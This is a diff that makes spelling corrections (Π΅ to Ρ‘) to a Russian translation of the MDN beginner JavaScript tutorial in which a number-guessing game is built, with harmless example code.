ΡƒΠ³Π°Π΄Π°Π» число Π²Π΅Ρ€Π½ΠΎ ΠΈΠ»ΠΈ Ссли Ρƒ Π½Π΅Π³ΠΎ кончатся всС ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ. ПослС окончания ΠΈΠ³Ρ€Ρ‹ ΠΈΠ³Ρ€ΠΎΠΊΡƒ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π°Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒ Π² ΠΈΠ³Ρ€Ρƒ Π΅Ρ‰Ρ‘ Ρ€Π°Π·.</p>
</blockquote>
<p>ПоглядСв Π½Π° это ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - это Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Π±ΠΈΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° простыС дСйствия, максимально думая ΠΊΠ°ΠΊ программист:</p>
@@ -173,7 +173,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<li>Π‘Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ случайноС число ΠΌΠ΅ΠΆΠ΄Ρƒ 1 ΠΈΒ 100.</li>
<li>ΠΠ°Ρ‡Π°Ρ‚ΡŒ запись количСства попыток ΠΈΠ³Ρ€ΠΎΠΊΠ° ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ число. ΠΠ°Ρ‡Π°Ρ‚ΡŒ с 1.</li>
<li>ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠΊΡƒ Π·Π°Π³Π°Π΄Π°Π½Π½ΠΎΠ΅ число.</li>
- <li>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ°Β ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ Π±Ρ‹Π»Π° ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π°, сначала Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ Π΅Π΅ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свои ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ</li>
+ <li>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ°Β ΡƒΠ³Π°Π΄Π°Ρ‚ΡŒ Π±Ρ‹Π»Π° ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π°, сначала Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ Π΅Ρ‘ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠ³ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свои ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ</li>
<li>Π”Π°Π»Π΅Π΅, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π±Ρ‹Π»ΠΎ Π»ΠΈ это число Π²Π΅Ρ€Π½Ρ‹ΠΌ.</li>
<li>Если число вСрноС:
<ol>
@@ -185,7 +185,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<li>Если число Π½Π΅ Π²Π΅Ρ€Π½ΠΎΠ΅ ΠΈ Π΅ΡΡ‚ΡŒ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ:
<ol>
<li>Π‘ΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠΊΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ ΡƒΠ³Π°Π΄Π°Π».</li>
- <li>Π Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π΅ΠΌΡƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ.</li>
+ <li>Π Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π΅ΠΌΡƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΡƒ.</li>
<li>ΠŸΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ число ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ Π½Π° 1.</li>
</ol>
</li>
@@ -199,7 +199,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<li>Π’ΠΎ врСмя пСрСзапуска ΠΈΠ³Ρ€Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ игровая Π»ΠΎΠ³ΠΈΠΊΠ° ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡΠ±Ρ€ΠΎΡΠΈΠ»ΠΈΡΡŒ Π½Π° Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния ΠΈ Π΄Π°Π»Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊ ΠΏΡƒΠ½ΠΊΡ‚Ρƒ 1.</li>
</ol>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ эти шаги Π² ΠΊΠΎΠ΄, создавая ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈ исслСдуя возмоТности JavaScriptΒ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘ΠΌ ΠΊ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ эти шаги Π² ΠΊΠΎΠ΄, создавая ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈ исслСдуя возмоТности JavaScriptΒ ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ.</p>
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°</h3>
@@ -216,7 +216,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…_для_хранСния_Π΄Π°Π½Π½Ρ‹Ρ…">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… для хранСния Π΄Π°Π½Π½Ρ‹Ρ…</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ. ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта  {{htmlelement("script")}} :</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ. ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта  {{htmlelement("script")}} :</p>
<pre class="notranslate"><code>var randomNumber = Math.floor(Math.random() * 100) + 1;
@@ -230,13 +230,13 @@ var guessField = document.querySelector('.guessField');
var guessCount = 1;
var resetButton;</code></pre>
-<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΊΠΎΠ΄Π° ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для хранСния Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ - это Π² основном ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа ΠΈΠ»ΠΈ строки тСкста). Π’Ρ‹ создаСтС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом var, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт имя для вашСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ своСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π·Π½Π°ΠΊ равСнства (=), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ.</p>
+<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΊΠΎΠ΄Π° ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для хранСния Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ нашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ - это Π² основном ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа ΠΈΠ»ΠΈ строки тСкста). Π’Ρ‹ создаётС ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом var, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ слСдуСт имя для вашСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ своСй ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π·Π½Π°ΠΊ равСнства (=), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ.</p>
<p>Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅:</p>
<ul>
<li>ΠŸΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ - randomNumber - присваиваСтся случайноС число ΠΎΡ‚ 1 Π΄ΠΎ 100, вычислСнноС с использованиСм матСматичСского Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°.</li>
- <li>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ сдСланы для хранСния ссылок Π½Π° Π°Π±Π·Π°Ρ†Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π² нашСм HTML ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для вставки Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π°Π±Π·Π°Ρ†Ρ‹, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π»Π΅Π΅ Π² ΠΊΠΎΠ΄Π΅:
+ <li>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ сдСланы для хранСния ссылок Π½Π° Π°Π±Π·Π°Ρ†Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π² нашСм HTML ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для вставки Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π°Π±Π·Π°Ρ†Ρ‹, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π»Π΅Π΅ Π² ΠΊΠΎΠ΄Π΅:
<pre class="brush: html notranslate">&lt;p class="guesses"&gt;&lt;/p&gt;
&lt;p class="lastResult"&gt;&lt;/p&gt;
&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
@@ -245,7 +245,7 @@ var resetButton;</code></pre>
<pre class="brush: html notranslate">&lt;label for="guessField"&gt;Enter a guess: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt;
&lt;input type="submit" value="Submit guess" class="guessSubmit"&gt;</pre>
</li>
- <li>Наши послСдниС Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ количСство Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ 1 (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отслСТивания Ρ‚ΠΎΠ³ΠΎ, сколько Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° Π±Ρ‹Π»ΠΎ), ΠΈ ссылку Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ сброса, которая Π΅Ρ‰Π΅ Π½Π΅ сущСствуСт (Π½ΠΎ ΠΏΠΎΠ·ΠΆΠ΅).</li>
+ <li>Наши послСдниС Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ количСство Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ 1 (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отслСТивания Ρ‚ΠΎΠ³ΠΎ, сколько Π΄ΠΎΠ³Π°Π΄ΠΎΠΊ Ρƒ ΠΈΠ³Ρ€ΠΎΠΊΠ° Π±Ρ‹Π»ΠΎ), ΠΈ ссылку Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ сброса, которая Π΅Ρ‰Ρ‘ Π½Π΅ сущСствуСт (Π½ΠΎ ΠΏΠΎΠ·ΠΆΠ΅).</li>
</ul>
<div class="note">
@@ -260,7 +260,7 @@ var resetButton;</code></pre>
alert('I am a placeholder');
}</pre>
-<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°, написав ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΈΡ… снова ΠΈ снова, сохраняя Π½ΡƒΠΆΠ½Ρ‹ΠΉ постоянно ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΊΠΎΠ΄. Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ. БущСствуСт нСсколько способов ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ ΠΏΠΎΠΊΠ° ΠΌΡ‹ сосрСдоточимся Π½Π° ΠΎΠ΄Π½ΠΎΠΌ простом Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>function</code>, Π·Π° Π½ΠΈΠΌ ΠΈΠ΄Π΅Ρ‚ имя с двумя скобками послС Π½Π΅Π³ΠΎ. ПослС этого ΠΌΡ‹ добавляСм Π΄Π²Π΅ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{ }</code>). Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок содСрТится вСсь ΠΊΠΎΠ΄, Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΉΡΡΒ Π²ΡΡΠΊΠΈΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
+<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°, написав ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΈΡ… снова ΠΈ снова, сохраняя Π½ΡƒΠΆΠ½Ρ‹ΠΉ постоянно ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΊΠΎΠ΄. Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ. БущСствуСт нСсколько способов ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½ΠΎ ΠΏΠΎΠΊΠ° ΠΌΡ‹ сосрСдоточимся Π½Π° ΠΎΠ΄Π½ΠΎΠΌ простом Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π΅. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>function</code>, Π·Π° Π½ΠΈΠΌ ΠΈΠ΄Ρ‘Ρ‚ имя с двумя скобками послС Π½Π΅Π³ΠΎ. ПослС этого ΠΌΡ‹ добавляСм Π΄Π²Π΅ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{ }</code>). Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок содСрТится вСсь ΠΊΠΎΠ΄, Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΉΡΡΒ Π²ΡΡΠΊΠΈΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
<p>Код запускаСтся Π²Π²ΠΎΠ΄ΠΎΠΌ ΠΈΠΌΠ΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Π΄Π²Π΅ скобки.</p>
@@ -270,7 +270,7 @@ var resetButton;</code></pre>
<pre class="brush: js notranslate">checkGuess();</pre>
-<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ говорится "I am a placeholder"; Π² нашСм ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая создаСт ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° Π΅Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚.</p>
+<p>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ говорится "I am a placeholder"; Π² нашСм ΠΊΠΎΠ΄Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая создаёт ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° Π΅Ρ‘ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’ дальнСйшСм Π²Ρ‹ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΎ функциях.</p>
@@ -278,9 +278,9 @@ var resetButton;</code></pre>
<h3 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_Operators">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ (Operators)</h3>
-<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ JavaScript ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, матСматичСскиС расчСты, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ строки вмСстС ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ дСйствия.</p>
+<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ JavaScript ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ, матСматичСскиС расчёты, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ строки вмСстС ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ дСйствия.</p>
